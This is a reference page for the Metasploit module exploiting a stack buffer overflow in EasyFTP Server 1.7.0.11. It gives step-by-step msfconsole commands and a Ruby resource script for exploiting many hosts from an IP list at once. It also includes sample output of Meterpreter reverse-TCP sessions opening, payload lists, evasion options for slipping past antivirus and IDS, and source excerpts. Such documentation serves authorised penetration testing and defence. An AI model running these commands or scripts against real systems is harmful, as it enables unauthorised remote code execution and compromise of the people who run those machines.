EasyFTP Server list.html path Stack Buffer Overflow - Metasploit
This page contains detailed information about how to use the exploit/windows/http/easyftp_list metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: EasyFTP Server list.html path Stack Buffer Overflow
Module: exploit/windows/http/easyftp_list
Source code: modules/exploits/windows/http/easyftp_list.rb
Disclosure date: 2010-02-18
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -
This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11 and earlier. EasyFTP fails to check input size when parsing the 'path' parameter supplied to an HTTP GET request, which leads to a stack based buffer overflow. EasyFTP allows anonymous access by default; valid credentials are typically unnecessary to exploit this vulnerability. After version 1.7.0.12, this package was renamed "UplusFtp". Due to limited space, as well as difficulties using an egghunter, the use of staged, ORD, and/or shell payloads is recommended.
Module Ranking and Traits
Module Ranking:
- great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.
Basic Usage
Using easyftp_list against a single host
Normally, you can use exploit/windows/http/easyftp_list this way:
msf > use exploit/windows/http/easyftp_list
msf exploit(easyftp_list) > show targets
... a list of targets ...
msf exploit(easyftp_list) > set TARGET target-id
msf exploit(easyftp_list) > show options
... show and set options ...
msf exploit(easyftp_list) > exploit
Using easyftp_list against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your easyftp_list will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/windows/http/easyftp_list")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the windows/http/easyftp_list exploit module looks in the msfconsole:
msf6 > use exploit/windows/http/easyftp_list
[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(windows/http/easyftp_list) > show info
Name: EasyFTP Server list.html path Stack Buffer Overflow
Module: exploit/windows/http/easyftp_list
Platform: Windows
Arch:
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2010-02-18
Provided by:
ThE g0bL!N
jduck <[email protected]>
Available targets:
Id Name
-- ----
0 Windows XP SP3 - Easy FTP Server Universal
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword [email protected] yes The HTTP password to specify for basic authentication
HttpUsername anonymous yes The HTTP username to specify for basic authentication
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload information:
Space: 256
Avoid: 15 characters
Description:
This module exploits a stack-based buffer overflow in EasyFTP Server
1.7.0.11 and earlier. EasyFTP fails to check input size when parsing
the 'path' parameter supplied to an HTTP GET request, which leads to
a stack based buffer overflow. EasyFTP allows anonymous access by
default; valid credentials are typically unnecessary to exploit this
vulnerability. After version 1.7.0.12, this package was renamed
"UplusFtp". Due to limited space, as well as difficulties using an
egghunter, the use of staged, ORD, and/or shell payloads is
recommended.
References:
OSVDB (66614)
https://www.exploit-db.com/exploits/11500
Module Options
This is a complete list of options available in the windows/http/easyftp_list exploit:
msf6 exploit(windows/http/easyftp_list) > show options
Module options (exploit/windows/http/easyftp_list):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword [email protected] yes The HTTP password to specify for basic authentication
HttpUsername anonymous yes The HTTP username to specify for basic authentication
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows XP SP3 - Easy FTP Server Universal
Advanced Options
Here is a complete list of advanced options supported by the windows/http/easyftp_list exploit:
msf6 exploit(windows/http/easyftp_list) > show advanced
Module advanced options (exploit/windows/http/easyftp_list):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
ARCH no The architecture that is being targeted
PLATFORM no The platform that is being targeted
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/http/easyftp_list module can exploit:
msf6 exploit(windows/http/easyftp_list) > show targets
Exploit targets:
Id Name
-- ----
0 Windows XP SP3 - Easy FTP Server Universal
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/http/easyftp_list exploit:
msf6 exploit(windows/http/easyftp_list) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/windows/dllinject/bind_nonx_tcp normal No Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
6 payload/windows/dllinject/reverse_nonx_tcp normal No Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
7 payload/windows/dllinject/reverse_ord_tcp normal No Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
8 payload/windows/exec normal No Windows Execute Command
9 payload/windows/loadlibrary normal No Windows LoadLibrary Path
10 payload/windows/meterpreter/bind_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
11 payload/windows/meterpreter/reverse_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
12 payload/windows/meterpreter/reverse_ord_tcp normal No Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
13 payload/windows/metsvc_bind_tcp normal No Windows Meterpreter Service, Bind TCP
14 payload/windows/metsvc_reverse_tcp normal No Windows Meterpreter Service, Reverse TCP Inline
15 payload/windows/patchupdllinject/bind_nonx_tcp normal No Windows Inject DLL, Bind TCP Stager (No NX or Win7)
16 payload/windows/patchupdllinject/reverse_nonx_tcp normal No Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
17 payload/windows/patchupdllinject/reverse_ord_tcp normal No Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
18 payload/windows/patchupmeterpreter/bind_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)
19 payload/windows/patchupmeterpreter/reverse_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
20 payload/windows/patchupmeterpreter/reverse_ord_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
21 payload/windows/peinject/bind_nonx_tcp normal No Windows Inject PE Files, Bind TCP Stager (No NX or Win7)
22 payload/windows/peinject/reverse_nonx_tcp normal No Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)
23 payload/windows/peinject/reverse_ord_tcp normal No Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)
24 payload/windows/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
25 payload/windows/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
26 payload/windows/shell/bind_nonx_tcp normal No Windows Command Shell, Bind TCP Stager (No NX or Win7)
27 payload/windows/shell/reverse_nonx_tcp normal No Windows Command Shell, Reverse TCP Stager (No NX or Win7)
28 payload/windows/shell/reverse_ord_tcp normal No Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
29 payload/windows/speak_pwned normal No Windows Speech API - Say "You Got Pwned!"
30 payload/windows/upexec/bind_nonx_tcp normal No Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
31 payload/windows/upexec/reverse_nonx_tcp normal No Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
32 payload/windows/upexec/reverse_ord_tcp normal No Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
33 payload/windows/vncinject/bind_nonx_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
34 payload/windows/vncinject/reverse_nonx_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
35 payload/windows/vncinject/reverse_ord_tcp normal No VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
Evasion Options
Here is the full list of possible evasion options supported by the windows/http/easyftp_list exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/http/easyftp_list) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Insufficient space for payload, try using a staged, ORD and/or shell payload.
Here is a relevant code snippet related to the "Insufficient space for payload, try using a staged, ORD and/or shell payload." error message:
82: end
83:
84:
85: def exploit
86: if (payload.encoded.length > payload_space)
87: fail_with(Failure::Unknown, "Insufficient space for payload, try using a staged, ORD and/or shell payload.")
88: end
89:
90: # Fix up ESP, jmp to the beginning of the buffer
91: stub_asm = %q{
92: mov edi, esp
The server unexpectedly responded, this is not good.
Here is a relevant code snippet related to the "The server unexpectedly responded, this is not good." error message:
111:
112: print_status("Trying target #{target.name}...")
113: res = send_request_raw({ 'uri' => uri }, 5)
114:
115: if (res)
116: print_error("The server unexpectedly responded, this is not good.")
117: print_status(res.to_s)
118: end
119:
120: handler
121: end
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6921 Merged Pull Request: Fix #4885, Support basic and form auth at the same time
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #4523 Merged Pull Request: Resolve #4513 - Change #inspect to #to_s
- #3087 Merged Pull Request: Fix first chunk of msftidy "bad char" errors
- #2905 Merged Pull Request: Update Exploit Checks and a msftidy to go with it
- #2525 Merged Pull Request: Change module boilerplate
- #2229 Merged Pull Request: Add fail_with() to all module types, move Failure constants to Msf::Module
- #1482 Merged Pull Request: Unmerge #1476 and #1444
- #1241 Merged Pull Request: Removed all $Id$ and $Revision$ occurences
- #958 Merged Pull Request: Msftidy 2
- #259 Merged Pull Request: Convert Exploit-DB references to first-tier "EDB-12345" references
References
- CVE: Not available
- OSVDB (66614)
- EDB-11500
See Also
Check also the following modules related to this module:
- exploit/windows/ftp/easyftp_cwd_fixret
- exploit/windows/ftp/easyftp_list_fixret
- exploit/windows/ftp/easyftp_mkd_fixret
- exploit/windows/ftp/sami_ftpd_list
- exploit/windows/ftp/scriptftp_list
- exploit/windows/imap/eudora_list
- exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce
- exploit/windows/http/osb_uname_jlist
- exploit/windows/browser/apple_itunes_playlist
- exploit/windows/browser/siemens_solid_edge_selistctrlx
- exploit/windows/browser/winamp_playlist_unc
- exploit/windows/ftp/32bitftp_list_reply
- exploit/windows/ftp/aasync_list_reply
- exploit/windows/ftp/absolute_ftp_list_bof
- exploit/windows/ftp/filecopa_list_overflow
- exploit/windows/ftp/filewrangler_list_reply
- exploit/windows/ftp/ftppad_list_reply
- exploit/windows/ftp/ftpsynch_list_reply
- exploit/windows/ftp/gekkomgr_list_reply
- exploit/windows/ftp/leapftp_list_reply
- exploit/windows/ftp/odin_list_reply
- exploit/windows/ftp/seagull_list_reply
- exploit/windows/ftp/slimftpd_list_concat
- exploit/windows/misc/realtek_playlist
- exploit/windows/mssql/lyris_listmanager_weak_pass
- exploit/windows/scada/igss9_igssdataserver_listall
- exploit/linux/http/gitlist_exec
- exploit/linux/http/sophos_wpa_sblistpack_exec
- exploit/multi/http/gitlist_arg_injection
- exploit/multi/http/pmwiki_pagelist
- exploit/multi/http/wp_simple_file_list_rce
- exploit/unix/http/pihole_blocklist_exec
- exploit/unix/http/pihole_whitelist_exec
Authors
- ThE g0bL!N
- jduck
Version
This page has been produced using Metasploit Framework version 6.1.33-dev. For more modules, visit the Metasploit Module Library.
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